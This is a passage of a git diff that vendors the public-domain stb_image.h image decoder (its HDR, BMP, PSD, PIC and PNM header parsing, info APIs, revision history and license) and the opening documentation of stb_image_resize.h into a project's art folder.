+            stbi__hdr_convert(hdr_data + j * width * req_comp + i * req_comp, rgbe, req_comp);
+         }
+      }
+   } else {
+      // Read RLE-encoded data
+      scanline = NULL;
+
+      for (j = 0; j < height; ++j) {
+         c1 = stbi__get8(s);
+         c2 = stbi__get8(s);
+         len = stbi__get8(s);
+         if (c1 != 2 || c2 != 2 || (len & 0x80)) {
+            // not run-length encoded, so we have to actually use THIS data as a decoded
+            // pixel (note this can't be a valid pixel--one of RGB must be >= 128)
+            stbi_uc rgbe[4];
+            rgbe[0] = (stbi_uc) c1;
+            rgbe[1] = (stbi_uc) c2;
+            rgbe[2] = (stbi_uc) len;
+            rgbe[3] = (stbi_uc) stbi__get8(s);
+            stbi__hdr_convert(hdr_data, rgbe, req_comp);
+            i = 1;
+            j = 0;
+            STBI_FREE(scanline);
+            goto main_decode_loop; // yes, this makes no sense
+         }
+         len <<= 8;
+         len |= stbi__get8(s);
+         if (len != width) { STBI_FREE(hdr_data); STBI_FREE(scanline); return stbi__errpf("invalid decoded scanline length", "corrupt HDR"); }
+         if (scanline == NULL) {
+            scanline = (stbi_uc *) stbi__malloc_mad2(width, 4, 0);
+            if (!scanline) {
+               STBI_FREE(hdr_data);
+               return stbi__errpf("outofmem", "Out of memory");
+            }
+         }
+
+         for (k = 0; k < 4; ++k) {
+            int nleft;
+            i = 0;
+            while ((nleft = width - i) > 0) {
+               count = stbi__get8(s);
+               if (count > 128) {
+                  // Run
+                  value = stbi__get8(s);
+                  count -= 128;
+                  if (count > nleft) { STBI_FREE(hdr_data); STBI_FREE(scanline); return stbi__errpf("corrupt", "bad RLE data in HDR"); }
+                  for (z = 0; z < count; ++z)
+                     scanline[i++ * 4 + k] = value;
+               } else {
+                  // Dump
+                  if (count > nleft) { STBI_FREE(hdr_data); STBI_FREE(scanline); return stbi__errpf("corrupt", "bad RLE data in HDR"); }
+                  for (z = 0; z < count; ++z)
+                     scanline[i++ * 4 + k] = stbi__get8(s);
+               }
+            }
+         }
+         for (i=0; i < width; ++i)
+            stbi__hdr_convert(hdr_data+(j*width + i)*req_comp, scanline + i*4, req_comp);
+      }
+      if (scanline)
+         STBI_FREE(scanline);
+   }
+
+   return hdr_data;
+}
+
+static int stbi__hdr_info(stbi__context *s, int *x, int *y, int *comp)
+{
+   char buffer[STBI__HDR_BUFLEN];
+   char *token;
+   int valid = 0;
+   int dummy;
+
+   if (!x) x = &dummy;
+   if (!y) y = &dummy;
+   if (!comp) comp = &dummy;
+
+   if (stbi__hdr_test(s) == 0) {
+       stbi__rewind( s );
+       return 0;
+   }
+
+   for(;;) {
+      token = stbi__hdr_gettoken(s,buffer);
+      if (token[0] == 0) break;
+      if (strcmp(token, "FORMAT=32-bit_rle_rgbe") == 0) valid = 1;
+   }
+
+   if (!valid) {
+       stbi__rewind( s );
+       return 0;
+   }
+   token = stbi__hdr_gettoken(s,buffer);
+   if (strncmp(token, "-Y ", 3)) {
+       stbi__rewind( s );
+       return 0;
+   }
+   token += 3;
+   *y = (int) strtol(token, &token, 10);
+   while (*token == ' ') ++token;
+   if (strncmp(token, "+X ", 3)) {
+       stbi__rewind( s );
+       return 0;
+   }
+   token += 3;
+   *x = (int) strtol(token, NULL, 10);
+   *comp = 3;
+   return 1;
+}
+#endif // STBI_NO_HDR
+
+#ifndef STBI_NO_BMP
+static int stbi__bmp_info(stbi__context *s, int *x, int *y, int *comp)
+{
+   void *p;
+   stbi__bmp_data info;
+
+   info.all_a = 255;
+   p = stbi__bmp_parse_header(s, &info);
+   stbi__rewind( s );
+   if (p == NULL)
+      return 0;
+   if (x) *x = s->img_x;
+   if (y) *y = s->img_y;
+   if (comp) *comp = info.ma ? 4 : 3;
+   return 1;
+}
+#endif
+
+#ifndef STBI_NO_PSD
+static int stbi__psd_info(stbi__context *s, int *x, int *y, int *comp)
+{
+   int channelCount, dummy, depth;
+   if (!x) x = &dummy;
+   if (!y) y = &dummy;
+   if (!comp) comp = &dummy;
+   if (stbi__get32be(s) != 0x38425053) {
+       stbi__rewind( s );
+       return 0;
+   }
+   if (stbi__get16be(s) != 1) {
+       stbi__rewind( s );
+       return 0;
+   }
+   stbi__skip(s, 6);
+   channelCount = stbi__get16be(s);
+   if (channelCount < 0 || channelCount > 16) {
+       stbi__rewind( s );
+       return 0;
+   }
+   *y = stbi__get32be(s);
+   *x = stbi__get32be(s);
+   depth = stbi__get16be(s);
+   if (depth != 8 && depth != 16) {
+       stbi__rewind( s );
+       return 0;
+   }
+   if (stbi__get16be(s) != 3) {
+       stbi__rewind( s );
+       return 0;
+   }
+   *comp = 4;
+   return 1;
+}
+
+static int stbi__psd_is16(stbi__context *s)
+{
+   int channelCount, depth;
+   if (stbi__get32be(s) != 0x38425053) {
+       stbi__rewind( s );
+       return 0;
+   }
+   if (stbi__get16be(s) != 1) {
+       stbi__rewind( s );
+       return 0;
+   }
+   stbi__skip(s, 6);
+   channelCount = stbi__get16be(s);
+   if (channelCount < 0 || channelCount > 16) {
+       stbi__rewind( s );
+       return 0;
+   }
+   (void) stbi__get32be(s);
+   (void) stbi__get32be(s);
+   depth = stbi__get16be(s);
+   if (depth != 16) {
+       stbi__rewind( s );
+       return 0;
+   }
+   return 1;
+}
+#endif
+
+#ifndef STBI_NO_PIC
+static int stbi__pic_info(stbi__context *s, int *x, int *y, int *comp)
+{
+   int act_comp=0,num_packets=0,chained,dummy;
+   stbi__pic_packet packets[10];
+
+   if (!x) x = &dummy;
+   if (!y) y = &dummy;
+   if (!comp) comp = &dummy;
+
+   if (!stbi__pic_is4(s,"\x53\x80\xF6\x34")) {
+      stbi__rewind(s);
+      return 0;
+   }
+
+   stbi__skip(s, 88);
+
+   *x = stbi__get16be(s);
+   *y = stbi__get16be(s);
+   if (stbi__at_eof(s)) {
+      stbi__rewind( s);
+      return 0;
+   }
+   if ( (*x) != 0 && (1 << 28) / (*x) < (*y)) {
+      stbi__rewind( s );
+      return 0;
+   }
+
+   stbi__skip(s, 8);
+
+   do {
+      stbi__pic_packet *packet;
+
+      if (num_packets==sizeof(packets)/sizeof(packets[0]))
+         return 0;
+
+      packet = &packets[num_packets++];
+      chained = stbi__get8(s);
+      packet->size    = stbi__get8(s);
+      packet->type    = stbi__get8(s);
+      packet->channel = stbi__get8(s);
+      act_comp |= packet->channel;
+
+      if (stbi__at_eof(s)) {
+          stbi__rewind( s );
+          return 0;
+      }
+      if (packet->size != 8) {
+          stbi__rewind( s );
+          return 0;
+      }
+   } while (chained);
+
+   *comp = (act_comp & 0x10 ? 4 : 3);
+
+   return 1;
+}
+#endif
+
+// *************************************************************************************************
+// Portable Gray Map and Portable Pixel Map loader
+// by Ken Miller
+//
+// PGM: http://netpbm.sourceforge.net/doc/pgm.html
+// PPM: http://netpbm.sourceforge.net/doc/ppm.html
+//
+// Known limitations:
+//    Does not support comments in the header section
+//    Does not support ASCII image data (formats P2 and P3)
+//    Does not support 16-bit-per-channel
+
+#ifndef STBI_NO_PNM
+
+static int      stbi__pnm_test(stbi__context *s)
+{
+   char p, t;
+   p = (char) stbi__get8(s);
+   t = (char) stbi__get8(s);
+   if (p != 'P' || (t != '5' && t != '6')) {
+       stbi__rewind( s );
+       return 0;
+   }
+   return 1;
+}
+
+static void *stbi__pnm_load(stbi__context *s, int *x, int *y, int *comp, int req_comp, stbi__result_info *ri)
+{
+   stbi_uc *out;
+   STBI_NOTUSED(ri);
+
+   if (!stbi__pnm_info(s, (int *)&s->img_x, (int *)&s->img_y, (int *)&s->img_n))
+      return 0;
+
+   *x = s->img_x;
+   *y = s->img_y;
+   if (comp) *comp = s->img_n;
+
+   if (!stbi__mad3sizes_valid(s->img_n, s->img_x, s->img_y, 0))
+      return stbi__errpuc("too large", "PNM too large");
+
+   out = (stbi_uc *) stbi__malloc_mad3(s->img_n, s->img_x, s->img_y, 0);
+   if (!out) return stbi__errpuc("outofmem", "Out of memory");
+   stbi__getn(s, out, s->img_n * s->img_x * s->img_y);
+
+   if (req_comp && req_comp != s->img_n) {
+      out = stbi__convert_format(out, s->img_n, req_comp, s->img_x, s->img_y);
+      if (out == NULL) return out; // stbi__convert_format frees input on failure
+   }
+   return out;
+}
+
+static int      stbi__pnm_isspace(char c)
+{
+   return c == ' ' || c == '\t' || c == '\n' || c == '\v' || c == '\f' || c == '\r';
+}
+
+static void     stbi__pnm_skip_whitespace(stbi__context *s, char *c)
+{
+   for (;;) {
+      while (!stbi__at_eof(s) && stbi__pnm_isspace(*c))
+         *c = (char) stbi__get8(s);
+
+      if (stbi__at_eof(s) || *c != '#')
+         break;
+
+      while (!stbi__at_eof(s) && *c != '\n' && *c != '\r' )
+         *c = (char) stbi__get8(s);
+   }
+}
+
+static int      stbi__pnm_isdigit(char c)
+{
+   return c >= '0' && c <= '9';
+}
+
+static int      stbi__pnm_getinteger(stbi__context *s, char *c)
+{
+   int value = 0;
+
+   while (!stbi__at_eof(s) && stbi__pnm_isdigit(*c)) {
+      value = value*10 + (*c - '0');
+      *c = (char) stbi__get8(s);
+   }
+
+   return value;
+}
+
+static int      stbi__pnm_info(stbi__context *s, int *x, int *y, int *comp)
+{
+   int maxv, dummy;
+   char c, p, t;
+
+   if (!x) x = &dummy;
+   if (!y) y = &dummy;
+   if (!comp) comp = &dummy;
+
+   stbi__rewind(s);
+
+   // Get identifier
+   p = (char) stbi__get8(s);
+   t = (char) stbi__get8(s);
+   if (p != 'P' || (t != '5' && t != '6')) {
+       stbi__rewind(s);
+       return 0;
+   }
+
+   *comp = (t == '6') ? 3 : 1;  // '5' is 1-component .pgm; '6' is 3-component .ppm
+
+   c = (char) stbi__get8(s);
+   stbi__pnm_skip_whitespace(s, &c);
+
+   *x = stbi__pnm_getinteger(s, &c); // read width
+   stbi__pnm_skip_whitespace(s, &c);
+
+   *y = stbi__pnm_getinteger(s, &c); // read height
+   stbi__pnm_skip_whitespace(s, &c);
+
+   maxv = stbi__pnm_getinteger(s, &c);  // read max value
+
+   if (maxv > 255)
+      return stbi__err("max value > 255", "PPM image not 8-bit");
+   else
+      return 1;
+}
+#endif
+
+static int stbi__info_main(stbi__context *s, int *x, int *y, int *comp)
+{
+   #ifndef STBI_NO_JPEG
+   if (stbi__jpeg_info(s, x, y, comp)) return 1;
+   #endif
+
+   #ifndef STBI_NO_PNG
+   if (stbi__png_info(s, x, y, comp))  return 1;
+   #endif
+
+   #ifndef STBI_NO_GIF
+   if (stbi__gif_info(s, x, y, comp))  return 1;
+   #endif
+
+   #ifndef STBI_NO_BMP
+   if (stbi__bmp_info(s, x, y, comp))  return 1;
+   #endif
+
+   #ifndef STBI_NO_PSD
+   if (stbi__psd_info(s, x, y, comp))  return 1;
+   #endif
+
+   #ifndef STBI_NO_PIC
+   if (stbi__pic_info(s, x, y, comp))  return 1;
+   #endif
+
+   #ifndef STBI_NO_PNM
+   if (stbi__pnm_info(s, x, y, comp))  return 1;
+   #endif
+
+   #ifndef STBI_NO_HDR
+   if (stbi__hdr_info(s, x, y, comp))  return 1;
+   #endif
+
+   // test tga last because it's a crappy test!
+   #ifndef STBI_NO_TGA
+   if (stbi__tga_info(s, x, y, comp))
+       return 1;
+   #endif
+   return stbi__err("unknown image type", "Image not of any known type, or corrupt");
+}
+
+static int stbi__is_16_main(stbi__context *s)
+{
+   #ifndef STBI_NO_PNG
+   if (stbi__png_is16(s))  return 1;
+   #endif
+
+   #ifndef STBI_NO_PSD
+   if (stbi__psd_is16(s))  return 1;
+   #endif
+
+   return 0;
+}
+
+#ifndef STBI_NO_STDIO
+STBIDEF int stbi_info(char const *filename, int *x, int *y, int *comp)
+{
+    FILE *f = stbi__fopen(filename, "rb");
+    int result;
+    if (!f) return stbi__err("can't fopen", "Unable to open file");
+    result = stbi_info_from_file(f, x, y, comp);
+    fclose(f);
+    return result;
+}
+
+STBIDEF int stbi_info_from_file(FILE *f, int *x, int *y, int *comp)
+{
+   int r;
+   stbi__context s;
+   long pos = ftell(f);
+   stbi__start_file(&s, f);
+   r = stbi__info_main(&s,x,y,comp);
+   fseek(f,pos,SEEK_SET);
+   return r;
+}
+
+STBIDEF int stbi_is_16_bit(char const *filename)
+{
+    FILE *f = stbi__fopen(filename, "rb");
+    int result;
+    if (!f) return stbi__err("can't fopen", "Unable to open file");
+    result = stbi_is_16_bit_from_file(f);
+    fclose(f);
+    return result;
+}
+
+STBIDEF int stbi_is_16_bit_from_file(FILE *f)
+{
+   int r;
+   stbi__context s;
+   long pos = ftell(f);
+   stbi__start_file(&s, f);
+   r = stbi__is_16_main(&s);
+   fseek(f,pos,SEEK_SET);
+   return r;
+}
+#endif // !STBI_NO_STDIO
+
+STBIDEF int stbi_info_from_memory(stbi_uc const *buffer, int len, int *x, int *y, int *comp)
+{
+   stbi__context s;
+   stbi__start_mem(&s,buffer,len);
+   return stbi__info_main(&s,x,y,comp);
+}
+
+STBIDEF int stbi_info_from_callbacks(stbi_io_callbacks const *c, void *user, int *x, int *y, int *comp)
+{
+   stbi__context s;
+   stbi__start_callbacks(&s, (stbi_io_callbacks *) c, user);
+   return stbi__info_main(&s,x,y,comp);
+}
+
+STBIDEF int stbi_is_16_bit_from_memory(stbi_uc const *buffer, int len)
+{
+   stbi__context s;
+   stbi__start_mem(&s,buffer,len);
+   return stbi__is_16_main(&s);
+}
+
+STBIDEF int stbi_is_16_bit_from_callbacks(stbi_io_callbacks const *c, void *user)
+{
+   stbi__context s;
+   stbi__start_callbacks(&s, (stbi_io_callbacks *) c, user);
+   return stbi__is_16_main(&s);
+}
+
+#endif // STB_IMAGE_IMPLEMENTATION
+
+/*
+   revision history:
+      2.19  (2018-02-11) fix warning
+      2.18  (2018-01-30) fix warnings
+      2.17  (2018-01-29) change sbti__shiftsigned to avoid clang -O2 bug
+                         1-bit BMP
+                         *_is_16_bit api
+                         avoid warnings
+      2.16  (2017-07-23) all functions have 16-bit variants;
+                         STBI_NO_STDIO works again;
+                         compilation fixes;
+                         fix rounding in unpremultiply;
+                         optimize vertical flip;
+                         disable raw_len validation;
+                         documentation fixes
+      2.15  (2017-03-18) fix png-1,2,4 bug; now all Imagenet JPGs decode;
+                         warning fixes; disable run-time SSE detection on gcc;
+                         uniform handling of optional "return" values;
+                         thread-safe initialization of zlib tables
+      2.14  (2017-03-03) remove deprecated STBI_JPEG_OLD; fixes for Imagenet JPGs
+      2.13  (2016-11-29) add 16-bit API, only supported for PNG right now
+      2.12  (2016-04-02) fix typo in 2.11 PSD fix that caused crashes
+      2.11  (2016-04-02) allocate large structures on the stack
+                         remove white matting for transparent PSD
+                         fix reported channel count for PNG & BMP
+                         re-enable SSE2 in non-gcc 64-bit
+                         support RGB-formatted JPEG
+                         read 16-bit PNGs (only as 8-bit)
+      2.10  (2016-01-22) avoid warning introduced in 2.09 by STBI_REALLOC_SIZED
+      2.09  (2016-01-16) allow comments in PNM files
+                         16-bit-per-pixel TGA (not bit-per-component)
+                         info() for TGA could break due to .hdr handling
+                         info() for BMP to shares code instead of sloppy parse
+                         can use STBI_REALLOC_SIZED if allocator doesn't support realloc
+                         code cleanup
+      2.08  (2015-09-13) fix to 2.07 cleanup, reading RGB PSD as RGBA
+      2.07  (2015-09-13) fix compiler warnings
+                         partial animated GIF support
+                         limited 16-bpc PSD support
+                         #ifdef unused functions
+                         bug with < 92 byte PIC,PNM,HDR,TGA
+      2.06  (2015-04-19) fix bug where PSD returns wrong '*comp' value
+      2.05  (2015-04-19) fix bug in progressive JPEG handling, fix warning
+      2.04  (2015-04-15) try to re-enable SIMD on MinGW 64-bit
+      2.03  (2015-04-12) extra corruption checking (mmozeiko)
+                         stbi_set_flip_vertically_on_load (nguillemot)
+                         fix NEON support; fix mingw support
+      2.02  (2015-01-19) fix incorrect assert, fix warning
+      2.01  (2015-01-17) fix various warnings; suppress SIMD on gcc 32-bit without -msse2
+      2.00b (2014-12-25) fix STBI_MALLOC in progressive JPEG
+      2.00  (2014-12-25) optimize JPG, including x86 SSE2 & NEON SIMD (ryg)
+                         progressive JPEG (stb)
+                         PGM/PPM support (Ken Miller)
+                         STBI_MALLOC,STBI_REALLOC,STBI_FREE
+                         GIF bugfix -- seemingly never worked
+                         STBI_NO_*, STBI_ONLY_*
+      1.48  (2014-12-14) fix incorrectly-named assert()
+      1.47  (2014-12-14) 1/2/4-bit PNG support, both direct and paletted (Omar Cornut & stb)
+                         optimize PNG (ryg)
+                         fix bug in interlaced PNG with user-specified channel count (stb)
+      1.46  (2014-08-26)
+              fix broken tRNS chunk (colorkey-style transparency) in non-paletted PNG
+      1.45  (2014-08-16)
+              fix MSVC-ARM internal compiler error by wrapping malloc
+      1.44  (2014-08-07)
+              various warning fixes from Ronny Chevalier
+      1.43  (2014-07-15)
+              fix MSVC-only compiler problem in code changed in 1.42
+      1.42  (2014-07-09)
+              don't define _CRT_SECURE_NO_WARNINGS (affects user code)
+              fixes to stbi__cleanup_jpeg path
+              added STBI_ASSERT to avoid requiring assert.h
+      1.41  (2014-06-25)
+              fix search&replace from 1.36 that messed up comments/error messages
+      1.40  (2014-06-22)
+              fix gcc struct-initialization warning
+      1.39  (2014-06-15)
+              fix to TGA optimization when req_comp != number of components in TGA;
+              fix to GIF loading because BMP wasn't rewinding (whoops, no GIFs in my test suite)
+              add support for BMP version 5 (more ignored fields)
+      1.38  (2014-06-06)
+              suppress MSVC warnings on integer casts truncating values
+              fix accidental rename of 'skip' field of I/O
+      1.37  (2014-06-04)
+              remove duplicate typedef
+      1.36  (2014-06-03)
+              convert to header file single-file library
+              if de-iphone isn't set, load iphone images color-swapped instead of returning NULL
+      1.35  (2014-05-27)
+              various warnings
+              fix broken STBI_SIMD path
+              fix bug where stbi_load_from_file no longer left file pointer in correct place
+              fix broken non-easy path for 32-bit BMP (possibly never used)
+              TGA optimization by Arseny Kapoulkine
+      1.34  (unknown)
+              use STBI_NOTUSED in stbi__resample_row_generic(), fix one more leak in tga failure case
+      1.33  (2011-07-14)
+              make stbi_is_hdr work in STBI_NO_HDR (as specified), minor compiler-friendly improvements
+      1.32  (2011-07-13)
+              support for "info" function for all supported filetypes (SpartanJ)
+      1.31  (2011-06-20)
+              a few more leak fixes, bug in PNG handling (SpartanJ)
+      1.30  (2011-06-11)
+              added ability to load files via callbacks to accomidate custom input streams (Ben Wenger)
+              removed deprecated format-specific test/load functions
+              removed support for installable file formats (stbi_loader) -- would have been broken for IO callbacks anyway
+              error cases in bmp and tga give messages and don't leak (Raymond Barbiero, grisha)
+              fix inefficiency in decoding 32-bit BMP (David Woo)
+      1.29  (2010-08-16)
+              various warning fixes from Aurelien Pocheville
+      1.28  (2010-08-01)
+              fix bug in GIF palette transparency (SpartanJ)
+      1.27  (2010-08-01)
+              cast-to-stbi_uc to fix warnings
+      1.26  (2010-07-24)
+              fix bug in file buffering for PNG reported by SpartanJ
+      1.25  (2010-07-17)
+              refix trans_data warning (Won Chun)
+      1.24  (2010-07-12)
+              perf improvements reading from files on platforms with lock-heavy fgetc()
+              minor perf improvements for jpeg
+              deprecated type-specific functions so we'll get feedback if they're needed
+              attempt to fix trans_data warning (Won Chun)
+      1.23    fixed bug in iPhone support
+      1.22  (2010-07-10)
+              removed image *writing* support
+              stbi_info support from Jetro Lauha
+              GIF support from Jean-Marc Lienher
+              iPhone PNG-extensions from James Brown
+              warning-fixes from Nicolas Schulz and Janez Zemva (i.stbi__err. Janez (U+017D)emva)
+      1.21    fix use of 'stbi_uc' in header (reported by jon blow)
+      1.20    added support for Softimage PIC, by Tom Seddon
+      1.19    bug in interlaced PNG corruption check (found by ryg)
+      1.18  (2008-08-02)
+              fix a threading bug (local mutable static)
+      1.17    support interlaced PNG
+      1.16    major bugfix - stbi__convert_format converted one too many pixels
+      1.15    initialize some fields for thread safety
+      1.14    fix threadsafe conversion bug
+              header-file-only version (#define STBI_HEADER_FILE_ONLY before including)
+      1.13    threadsafe
+      1.12    const qualifiers in the API
+      1.11    Support installable IDCT, colorspace conversion routines
+      1.10    Fixes for 64-bit (don't use "unsigned long")
+              optimized upsampling by Fabian "ryg" Giesen
+      1.09    Fix format-conversion for PSD code (bad global variables!)
+      1.08    Thatcher Ulrich's PSD code integrated by Nicolas Schulz
+      1.07    attempt to fix C++ warning/errors again
+      1.06    attempt to fix C++ warning/errors again
+      1.05    fix TGA loading to return correct *comp and use good luminance calc
+      1.04    default float alpha is 1, not 255; use 'void *' for stbi_image_free
+      1.03    bugfixes to STBI_NO_STDIO, STBI_NO_HDR
+      1.02    support for (subset of) HDR files, float interface for preferred access to them
+      1.01    fix bug: possible bug in handling right-side up bmps... not sure
+              fix bug: the stbi__bmp_load() and stbi__tga_load() functions didn't work at all
+      1.00    interface to zlib that skips zlib header
+      0.99    correct handling of alpha in palette
+      0.98    TGA loader by lonesock; dynamically add loaders (untested)
+      0.97    jpeg errors on too large a file; also catch another malloc failure
+      0.96    fix detection of invalid v value - particleman@mollyrocket forum
+      0.95    during header scan, seek to markers in case of padding
+      0.94    STBI_NO_STDIO to disable stdio usage; rename all #defines the same
+      0.93    handle jpegtran output; verbose errors
+      0.92    read 4,8,16,24,32-bit BMP files of several formats
+      0.91    output 24-bit Windows 3.0 BMP files
+      0.90    fix a few more warnings; bump version number to approach 1.0
+      0.61    bugfixes due to Marc LeBlanc, Christopher Lloyd
+      0.60    fix compiling as c++
+      0.59    fix warnings: merge Dave Moore's -Wall fixes
+      0.58    fix bug: zlib uncompressed mode len/nlen was wrong endian
+      0.57    fix bug: jpg last huffman symbol before marker was >9 bits but less than 16 available
+      0.56    fix bug: zlib uncompressed mode len vs. nlen
+      0.55    fix bug: restart_interval not initialized to 0
+      0.54    allow NULL for 'int *comp'
+      0.53    fix bug in png 3->4; speedup png decoding
+      0.52    png handles req_comp=3,4 directly; minor cleanup; jpeg comments
+      0.51    obey req_comp requests, 1-component jpegs return as 1-component,
+              on 'test' only check type, not whether we support this variant
+      0.50  (2006-11-19)
+              first released version
+*/
+
+
+/*
+------------------------------------------------------------------------------
+This software is available under 2 licenses -- choose whichever you prefer.
+------------------------------------------------------------------------------
+ALTERNATIVE A - MIT License
+Copyright (c) 2017 Sean Barrett
+Permission is hereby granted, free of charge, to any person obtaining a copy of
+this software and associated documentation files (the "Software"), to deal in
+the Software without restriction, including without limitation the rights to
+use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies
+of the Software, and to permit persons to whom the Software is furnished to do
+so, subject to the following conditions:
+The above copyright notice and this permission notice shall be included in all
+copies or substantial portions of the Software.
+THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+SOFTWARE.
+------------------------------------------------------------------------------
+ALTERNATIVE B - Public Domain (www.unlicense.org)
+This is free and unencumbered software released into the public domain.
+Anyone is free to copy, modify, publish, use, compile, sell, or distribute this
+software, either in source code form or as a compiled binary, for any purpose,
+commercial or non-commercial, and by any means.
+In jurisdictions that recognize copyright laws, the author or authors of this
+software dedicate any and all copyright interest in the software to the public
+domain. We make this dedication for the benefit of the public at large and to
+the detriment of our heirs and successors. We intend this dedication to be an
+overt act of relinquishment in perpetuity of all present and future rights to
+this software under copyright law.
+THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+AUTHORS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN
+ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION
+WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
+------------------------------------------------------------------------------
+*/
diff --git a/art/p2u/stb_image_resize.h b/art/p2u/stb_image_resize.h
new file mode 100644
index 0000000..031ca99
--- /dev/null
+++ b/art/p2u/stb_image_resize.h
@@ -0,0 +1,2627 @@
+/* stb_image_resize - v0.95 - public domain image resizing
+   by Jorge L Rodriguez (@VinoBS) - 2014
+   http://github.com/nothings/stb
+
+   Written with emphasis on usability, portability, and efficiency. (No
+   SIMD or threads, so it be easily outperformed by libs that use those.)
+   Only scaling and translation is supported, no rotations or shears.
+   Easy API downsamples w/Mitchell filter, upsamples w/cubic interpolation.
+
+   COMPILING & LINKING
+      In one C/C++ file that #includes this file, do this:
+         #define STB_IMAGE_RESIZE_IMPLEMENTATION
+      before the #include. That will create the implementation in that file.
+
+   QUICKSTART
+      stbir_resize_uint8(      input_pixels , in_w , in_h , 0,
+                               output_pixels, out_w, out_h, 0, num_channels)
+      stbir_resize_float(...)
+      stbir_resize_uint8_srgb( input_pixels , in_w , in_h , 0,
+                               output_pixels, out_w, out_h, 0,
+                               num_channels , alpha_chan  , 0)
+      stbir_resize_uint8_srgb_edgemode(
+                               input_pixels , in_w , in_h , 0, 
+                               output_pixels, out_w, out_h, 0, 
+                               num_channels , alpha_chan  , 0, STBIR_EDGE_CLAMP)
+                                                            // WRAP/REFLECT/ZERO
+
+   FULL API
+      See the "header file" section of the source for API documentation.
+
+   ADDITIONAL DOCUMENTATION
+
+      SRGB & FLOATING POINT REPRESENTATION
+         The sRGB functions presume IEEE floating point. If you do not have
+         IEEE floating point, define STBIR_NON_IEEE_FLOAT. This will use
+         a slower implementation.
+
+      MEMORY ALLOCATION
+         The resize functions here perform a single memory allocation using
+         malloc. To control the memory allocation, before the #include that
+         triggers the implementation, do:
+
+            #define STBIR_MALLOC(size,context) ...
+            #define STBIR_FREE(ptr,context)   ...
+
+         Each resize function makes exactly one call to malloc/free, so to use
+         temp memory, store the temp memory in the context and return that.
+
+      ASSERT
+         Define STBIR_ASSERT(boolval) to override assert() and not use assert.h
+
+      OPTIMIZATION
+         Define STBIR_SATURATE_INT to compute clamp values in-range using
+         integer operations instead of float operations. This may be faster
+         on some platforms.
+
+      DEFAULT FILTERS
+         For functions which don't provide explicit control over what filters
+         to use, you can change the compile-time defaults with
+
+            #define STBIR_DEFAULT_FILTER_UPSAMPLE     STBIR_FILTER_something
+            #define STBIR_DEFAULT_FILTER_DOWNSAMPLE   STBIR_FILTER_something
+
+         See stbir_filter in the header-file section for the list of filters.
+
+      NEW FILTERS
+         A number of 1D filter kernels are used. For a list of
+         supported filters see the stbir_filter enum. To add a new filter,
+         write a filter function and add it to stbir__filter_info_table.
+
+      PROGRESS
+         For interactive use with slow resize operations, you can install
+         a progress-report callback:
+
+            #define STBIR_PROGRESS_REPORT(val)   some_func(val)
+
+         The parameter val is a float which goes from 0 to 1 as progress is made.
+
+         For example:
+
+            static void my_progress_report(float progress);
+            #define STBIR_PROGRESS_REPORT(val) my_progress_report(val)
+
+            #define STB_IMAGE_RESIZE_IMPLEMENTATION
+            #include "stb_image_resize.h"
+
+            static void my_progress_report(float progress)
+            {
+               printf("Progress: %f%%\n", progress*100);
+            }
+
+      MAX CHANNELS
+         If your image has more than 64 channels, define STBIR_MAX_CHANNELS
+         to the max you'll have.
+
+      ALPHA CHANNEL
+         Most of the resizing functions provide the ability to control how
+         the alpha channel of an image is processed. The important things
+         to know about this:
+
+         1. The best mathematically-behaved version of alpha to use is
+         called "premultiplied alpha", in which the other color channels
+         have had the alpha value multiplied in. If you use premultiplied
+         alpha, linear filtering (such as image resampling done by this
+         library, or performed in texture units on GPUs) does the "right
+         thing". While premultiplied alpha is standard in the movie CGI
+         industry, it is still uncommon in the videogame/real-time world.
+
+         If you linearly filter non-premultiplied alpha, strange effects
+         occur. (For example, the 50/50 average of 99% transparent bright green
+         and 1% transparent black produces 50% transparent dark green when
+         non-premultiplied, whereas premultiplied it produces 50%
+         transparent near-black. The former introduces green energy
+         that doesn't exist in the source image.)
+
+         2. Artists should not edit premultiplied-alpha images; artists
+         want non-premultiplied alpha images. Thus, art tools generally output
+         non-premultiplied alpha images.
+
+         3. You will get best results in most cases by converting images
+         to premultiplied alpha before processing them mathematically.
+
+         4. If you pass the flag STBIR_FLAG_ALPHA_PREMULTIPLIED, the
+         resizer does not do anything special for the alpha channel;
+         it is resampled identically to other channels. This produces
+         the correct results for premultiplied-alpha images, but produces
+         less-than-ideal results for non-premultiplied-alpha images.
+
+         5. If you do not pass the flag STBIR_FLAG_ALPHA_PREMULTIPLIED,
+         then the resizer weights the contribution of input pixels
+         based on their alpha values, or, equivalently, it multiplies
+         the alpha value into the color channels, resamples, then divides
+         by the resultant alpha value. Input pixels which have alpha=0 do
+         not contribute at all to output pixels unless _all_ of the input
+         pixels affecting that output pixel have alpha=0, in which case
+         the result for that pixel is the same as it would be without
+         STBIR_FLAG_ALPHA_PREMULTIPLIED. However, this is only true for
+         input images in integer formats. For input images in float format,
+         input pixels with alpha=0 have no effect, and output pixels
+         which have alpha=0 will be 0 in all channels. (For float images,
+         you can manually achieve the same result by adding a tiny epsilon
+         value to the alpha channel of every image, and then subtracting
+         or clamping it at the end.)
+
+         6. You can suppress the behavior described in #5 and make
+         all-0-alpha pixels have 0 in all channels by #defining
+         STBIR_NO_ALPHA_EPSILON.
+
+         7. You can separately control whether the alpha channel is
+         interpreted as linear or affected by the colorspace. By default
+         it is linear; you almost never want to apply the colorspace.
+         (For example, graphics hardware does not apply sRGB conversion
+         to the alpha channel.)
+
+   CONTRIBUTORS
